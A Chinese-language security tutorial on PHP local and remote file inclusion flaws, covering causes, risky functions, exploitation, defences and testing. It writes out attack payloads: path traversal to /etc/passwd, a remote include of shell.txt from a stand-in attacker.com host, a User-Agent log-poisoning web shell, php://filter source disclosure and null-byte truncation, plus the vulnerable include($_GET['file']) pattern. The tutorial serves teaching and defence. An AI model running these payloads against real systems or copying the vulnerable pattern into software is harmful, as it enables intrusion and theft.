文件包含漏洞详解

1. 文件包含漏洞概述

文件包含漏洞是一种常见的Web安全漏洞，它允许攻击者通过Web应用程序的动态文件包含功能，读取或执行服务器上的任意文件。这种漏洞通常出现在使用PHP等脚本语言的网站中。

2. 文件包含类型

2.1 本地文件包含(LFI - Local File Inclusion)

攻击者可以包含服务器本地的文件：

include($_GET['file']);

2.2 远程文件包含(RFI - Remote File Inclusion)

攻击者可以包含远程服务器上的文件：

include($_GET['file']);
// 当allow_url_include=On时，可包含远程文件

3. 漏洞成因

• 使用动态文件包含函数时未对用户输入进行严格过滤
• PHP配置不当(allow_url_include=On)
• 使用用户可控变量作为包含路径

4. 危险函数

PHP中易导致文件包含漏洞的函数：

• include()
• include_once()
• require()
• require_once()
• fopen()
• file_get_contents()

5. 漏洞利用方式

5.1 读取敏感文件

http://example.com/index.php?file=../../../../etc/passwd

5.2 执行PHP代码

• 通过包含上传的文件
• 通过包含日志文件注入PHP代码
• 通过包含/proc/self/environ等特殊文件

5.3 远程代码执行(RFI)

http://example.com/index.php?file=http://attacker.com/shell.txt

6. 防御措施

6.1 输入验证

• 白名单验证包含的文件名
• 限制包含路径在特定目录内

6.2 配置安全

• 设置allow_url_include=Off
• 设置open_basedir限制文件访问范围

6.3 编码实践

• 避免直接使用用户输入作为包含路径
• 使用固定前缀和后缀

include('./pages/' . $page . '.php');

6.4 其他措施

• 禁用危险函数
• 定期更新PHP版本
• 文件权限最小化原则

7. 实际案例分析

7.1 日志文件包含

通过User-Agent注入PHP代码，然后包含日志文件：

// 攻击者请求
GET / HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>

// 然后包含日志
http://example.com/index.php?file=/var/log/apache2/access.log

7.2 PHP伪协议利用

http://example.com/index.php?file=php://filter/convert.base64-encode/resource=config.php

8. 测试方法

1. 尝试包含已知文件：

?file=../../../../etc/passwd

2. 测试RFI：

?file=http://attacker.com/test.txt

3. 测试PHP伪协议：

?file=php://filter/convert.base64-encode/resource=index.php

4. 测试空字节截断(旧版PHP)：

?file=../../../../etc/passwd%00

9. 自动化工具

• Burp Suite
• OWASP ZAP
• LFI Suite
• Fimap

10. 总结

文件包含漏洞危害严重，可能导致敏感信息泄露、系统沦陷等后果。开发人员应严格验证用户输入，管理员应合理配置服务器环境，安全人员应定期进行漏洞扫描和渗透测试。